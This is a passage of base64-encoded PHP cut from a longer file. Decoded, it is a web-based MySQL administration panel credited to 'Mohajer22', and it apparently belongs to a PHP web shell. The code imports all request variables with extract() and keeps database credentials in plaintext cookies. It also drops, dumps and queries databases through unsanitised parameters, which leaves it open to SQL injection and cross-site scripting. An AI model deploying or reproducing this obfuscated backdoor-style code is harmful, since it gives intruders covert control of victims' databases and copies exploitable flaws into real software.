VFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVY
VFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsKCUBleHRyYWN0
KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9CgpmdW5jdGlvbiBsb2dvbigpIHsKCWdsb2Jh
bCAkUEhQX1NFTEY7CglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICk7Cglz
ZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICk7CglzZXRjb29raWUoICJteXNx
bF93ZWJfYWRtaW5faG9zdG5hbWUiICk7CgllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9
MTAwJT48dHI+PHRkPjxjZW50ZXI+XG4iOwoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRy
Pjx0ZD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxj
ZW50ZXI+XG4iOwoJZWNobyAiPGgxPk15U1FMIEludGVyZmFjZSAoRGV2ZWxvcGVkIEJ5IE1vaGFq
ZXIyMik8L2gxPlxuIjsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hv
ICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5c
biI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NSBjZWxsc3BhY2luZz0xPlxuIjsKCWVjaG8g
Ijx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1ob3N0bmFt
ZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+XG4iOwoJZWNobyAiPHRyPjx0ZD5Vc2VybmFt
ZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJuYW1lPjwvdGQ+PC90cj5cbiI7
CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBu
YW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8L3RhYmxlPjxwPlxuIjsKCWVjaG8g
IjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBl
PXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8
L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+
PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxuIjsKCWVjaG8gIjwvY2VudGVy
PjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKfQoKZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgewoJZ2xv
YmFsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkaG9zdG5hbWUgLCRQSFBfU0VMRjsKCWlmKCRob3N0
bmFtZSA9PScnKQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOwoJc2V0Y29va2llKCAibXlzcWxf
d2ViX2FkbWluX3VzZXJuYW1lIiwgJHVzZXJuYW1lICk7CglzZXRjb29raWUoICJteXNxbF93ZWJf
YWRtaW5fcGFzc3dvcmQiLCAkcGFzc3dvcmQgKTsKCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1p
bl9ob3N0bmFtZSIsICRob3N0bmFtZSApOwoJZWNobyAiPE1FVEEgSFRUUC1FUVVJVj1SZWZyZXNo
IENPTlRFTlQ9JzA7IFVSTD0kUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+IjsKCn0KCmZ1
bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsKCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJ
aWYoICRlcnJNc2cgPT0gIiIgKSAkZXJyTXNnID0gIlN1Y2Nlc3MiOwoJaWYoICRxdWVyeVN0ciAh
PSAiIiApIHsKCQllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NT5cbiI7CgkJZWNobyAiPHRyPjx0
ZD5RdWVyeTwvdGQ+PHRkPiRxdWVyeVN0cjwvdGQ+PC90cj5cbiI7CgkJZWNobyAiPHRyPjx0ZD5S
ZXN1bHQ8L3RkPjx0ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsKCQllY2hvICI8L3RhYmxlPjxwPlxu
IjsKCX0KfQoKZnVuY3Rpb24gbGlzdERhdGFiYXNlcygpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUs
ICRQSFBfU0VMRjsKCgllY2hvICI8aDE+RGF0YWJhc2VzIExpc3Q8L2gxPlxuIjsKCgllY2hvICI8
Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5h
bWU9YWN0aW9uIHZhbHVlPWNyZWF0ZURCPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFt
ZT1kYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgRGF0
YWJhc2UnPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCWVjaG8gIjx0
YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTU+XG4iOwoKCSRwREIgPSBteXNxbF9saXN0
X2RicyggJG15c3FsSGFuZGxlICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwREIgKTsKCWZv
ciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJJGRibmFtZSA9IG15c3FsX2RibmFtZSgg
JHBEQiwgJGkgKTsKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbiI7
CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9
JGRibmFtZSc+VGFibGVzPC9hPjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NF
TEY/YWN0aW9uPWRyb3BEQiZkYm5hbWU9JGRibmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJt
KCdEcm9wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+RHJvcDwvYT48L3RkPlxuIjsKCQllY2hv
ICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9u
Q2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVcJz8nKVwiPkR1
bXA8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsK
fQoKZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJu
YW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUg
KTsKCWxpc3REYXRhYmFzZXMoKTsKfQoKZnVuY3Rpb24gZHJvcERhdGFiYXNlKCkgewoJZ2xvYmFs
ICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOwoKCW15c3FsX2Ryb3BfZGIoICRkYm5h
bWUsICRteXNxbEhhbmRsZSApOwoJbGlzdERhdGFiYXNlcygpOwp9CgpmdW5jdGlvbiBsaXN0VGFi
bGVzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOwoKCgllY2hv
ICI8aDE+VGFibGVzIExpc3Q8L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5h
bWU8L3A+XG4iOwoJZWNob1F1ZXJ5UmVzdWx0KCk7CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBf
U0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWNy
ZWF0ZVRhYmxlPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1
ZT0kZGJuYW1lPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YWJsZW5hbWU+XG4i
OwoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDcmVhdGUgVGFibGUnPlxuIjsKCWVj
aG8gIjwvZm9ybT5cbiI7CgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPXF1ZXJ5PlxuIjsKCWVjaG8g
IjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsKCWVjaG8g
IjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7CgllY2hvICI8aW5w
dXQgdHlwZT1zdWJtaXQgdmFsdWU9J1F1ZXJ5Jz5cbiI7CgllY2hvICI8L2Zvcm0+XG4iOwoJZWNo
byAiPGhyPlxuIjsKCgkkcFRhYmxlID0gbXlzcWxfbGlzdF90YWJsZXMoICRkYm5hbWUgKTsKCglp
ZiggJHBUYWJsZSA9PSAwICkgewoJCSRtc2cgID0gbXlzcWxfZXJyb3IoKTsKCQllY2hvICI8aDM+
RXJyb3IgOiAkbXNnPC9oMz48cD5cbiI7CgkJcmV0dXJuOwoJfQoJJG51bSA9IG15c3FsX251bV9y
b3dzKCAkcFRhYmxlICk7CgoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9
NT5cbiI7CgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkdGFibGVuYW1lID0g
bXlzcWxfdGFibGVuYW1lKCAkcFRhYmxlLCAkaSApOwoKCQllY2hvICI8dHI+XG4iOwoJCWVjaG8g
Ijx0ZD5cbiI7CgkJZWNobyAiJHRhYmxlbmFtZVxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hv
ICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZk
Ym5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsKCQllY2hv
ICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9h
Y3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5E
YXRhPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+XG4iOwoJCWVjaG8gIjxh
IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHJvcFRhYmxlJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFt
ZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgVGFibGUgXCckdGFi
bGVuYW1lXCc/JylcIj5Ecm9wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxuIjsKCQllY2hvICI8dGQ+
XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZHVtcFRhYmxlJmRibmFtZT0k
ZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0R1
bXAgVGFibGUgXCckdGFibGVuYW1lXCc/JylcIj5EdW1wPC9hPlxuIjsKCQllY2hvICI8L3RkPlxu
IjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCgllY2hvICI8L3RhYmxlPiI7Cn0KCmZ1bmN0aW9uIGNy
ZWF0ZVRhYmxlKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwg
JFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHF1ZXJ5U3RyID0gIkNSRUFURSBUQUJM
RSAkdGFibGVuYW1lICggbm8gSU5UICkiOwoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlz
cWxIYW5kbGUgKTsKCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOwoJJGVy
ck1zZyA9IG15c3FsX2Vycm9yKCk7CgoJbGlzdFRhYmxlcygpOwp9CgpmdW5jdGlvbiBkcm9wVGFi
bGUoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NF
TEYsICRxdWVyeVN0ciwgJGVyck1zZzsKCgkkcXVlcnlTdHIgPSAiRFJPUCBUQUJMRSAkdGFibGVu
YW1lIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CglteXNxbF9x
dWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigp
OwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24gdmlld1NjaGVtYSgpIHsKCWdsb2JhbCAkbXlz
cWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJy
TXNnOwoKCWVjaG8gIjxoMT5UYWJsZSBTY2hlbWE8L2gxPlxuIjsKCWVjaG8gIjxwIGNsYXNzPWxv
Y2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsKCgllY2hvUXVlcnlSZXN1bHQo
KTsKCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJu
YW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOwoJZWNobyAiPGEg
aHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVu
YW1lPSR0YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVz
dWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5h
bWUiICk7CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxl
IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAi
PHRoPkZpZWxkPC90aD5cbiI7CgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51
bGw8L3RoPlxuIjsKCWVjaG8gIjx0aD5LZXk8L3RoPlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90
aD5cbiI7CgllY2hvICI8dGg+RXh0cmE8L3RoPlxuIjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0
aW9uPC90aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsg
JGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hv
ICI8dHI+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNo
byAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsi
TnVsbCJdLiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsK
CQllY2hvICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIu
JGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJd
OwoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9
JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwv
YT48L3RkPlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmll
bGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5h
bWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8n
KVwiPkRyb3A8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxl
PlxuIjsKCn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhh
bmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAk
Y21kID09ICJhZGQiICkKCQllY2hvICI8aDE+QWRkIEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAk
Y21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVz
dWx0ID0gbXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5h
bWUiICk7CgkJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAw
OyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJl
c3VsdCApOwoJCQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmll
bGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJCQkkZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJ
CQkJJGZpZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07CgkJCQkkZmllbGRudWxsID0gJGZpZWxk
WyJOdWxsIl07CgkJCQkkZmllbGRkZWZhdWx0ID0gJGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVh
azsKCQkJfQoJCX0KCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlp
Ziggc3RycG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8
ICR0eXBlID09ICJzZXQiICkgewoJCQkJJHZhbHVlbGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJ
CQl9IGVsc2UgewoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAk
ZmllbGR0eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9
Cgl9CgoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+
XG4iOwoJZWNobyAiPGZvcm0gYWN0aW9uPSRQSFBfU0VMRj5cbiI7CgoJaWYoICRjbWQgPT0gImFk
ZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVs
ZF9zdWJtaXQ+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7CgkJZWNobyAiPGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXRGaWVsZF9zdWJtaXQ+XG4iOwoJCWVj
aG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4i
OwoJfQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+
XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJs
ZW5hbWU+XG4iOwoKCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT10
ZXh0IG5hbWU9bmFtZSB2YWx1ZT0kZmllbGRuYW1lPjxwPlxuIjsKCWVjaG8gJwoKPGgzPlR5cGU8
L2gzPgoKPGZvbnQgc2l6ZT0yPgoqIGBNXCcgaW5kaWNhdGVzIHRoZSBtYXhpbXVtIGRpc3BsYXkg
c2l6ZS48YnI+CiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRp
Y2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxi
cj4KPC9mb250PgoKPHRhYmxlPgo8dHI+Cjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3Ro
Pjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0
aD5iaW5hcnk8L3RoPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUg
dmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2Vk
IjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVy
Pk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBu
YW1lPXR5cGUgdmFsdWU9IlNNQUxMSU5UIiAnOyBpZiggJHR5cGUgPT0gInNtYWxsaW50IiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5TTUFMTElOVCAoLTMyNzY4IH4gMzI3NjcpPC90ZD4KPHRkIGFs
aWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlu
cHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJNRURJVU1JTlQiICc7IGlmKCAkdHlwZSA9
PSAibWVkaXVtaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1JTlQgKC04Mzg4NjA4
IH4gODM4ODYwNyk8L3RkPgoKPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJJ
TlQiICc7IGlmKCAkdHlwZSA9PSAiaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5JTlQgKC0y
MTQ3NDgzNjQ4IH4gMjE0NzQ4MzY0Nyk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3Rk
Pgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5
cGUgdmFsdWU9IkJJR0lOVCIgJzsgaWYoICR0eXBlID09ICJiaWdpbnQiICkgZWNobyAiY2hlY2tl
ZCI7ZWNobyAnPkJJR0lOVCAoLTkyMjMzNzIwMzY4NTQ3NzU4MDggfiA5MjIzMzcyMDM2ODU0Nzc1
ODA3KTwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjx0ZCBhbGln
bj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+Cjwv
dHI+Cjx0cj4KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7
IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4K
PHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8
dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJET1VCTEUiICc7IGlmKCAkdHlw
ZSA9PSAiZG91YmxlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5ET1VCTEU8L3RkPgo8dGQgYWxp
Z249Y2VudGVyPk88L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8
dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48aW5w
dXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRFQ0lNQUwiICc7IGlmKCAkdHlwZSA9PSAi
ZGVjaW1hbCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+REVDSU1BTChOVU1FUklDKTwvdGQ+Cjx0
ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwv
dGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+Cjx0ZD4mbmJzcDwvdGQ+CjwvdHI+Cjx0cj4KPHRk
PjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09
ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0x
Mi0zMSwgWVlZWS1NTS1ERCk8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+
Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8dGQ+Jm5ic3A8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48
aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRBVEVUSU1FIiAnOyBpZiggJHR5cGUg
PT0gImRhdGV0aW1lIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFVElNRSAoMTAwMC0wMS0w
MSAwMDowMDowMCB+IDk5OTktMTItMzEgMjM6NTk6NTksIFlZWVktTU0tREQgSEg6TU06U1MpPC90
ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNwPC90ZD4KPHRkPiZuYnNw
PC90ZD4KPHRkPiZuYnNwPC90ZD4KPC90cj4KPHRyPgo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFt
ZT10eXBlIHZhbHVlPSJUSU1FU1RBTVAiICc7IGlmKCAkdHlwZSA9PSAidGltZXN0YW1wIiApIGVj
aG8gImNoZWNrZWQiO2VjaG8gJz5USU1FU1RBTVAgKDE5NzAtMDEtMDEgMDA6MDA6MDAgfiAyMTA2
Li4uLCBZWVlZTU1ERFtISFtNTVtTU11dXSk8L3RkPgo8dGQgYWxpZ249Y2VudGVyPk88L3RkPgo8
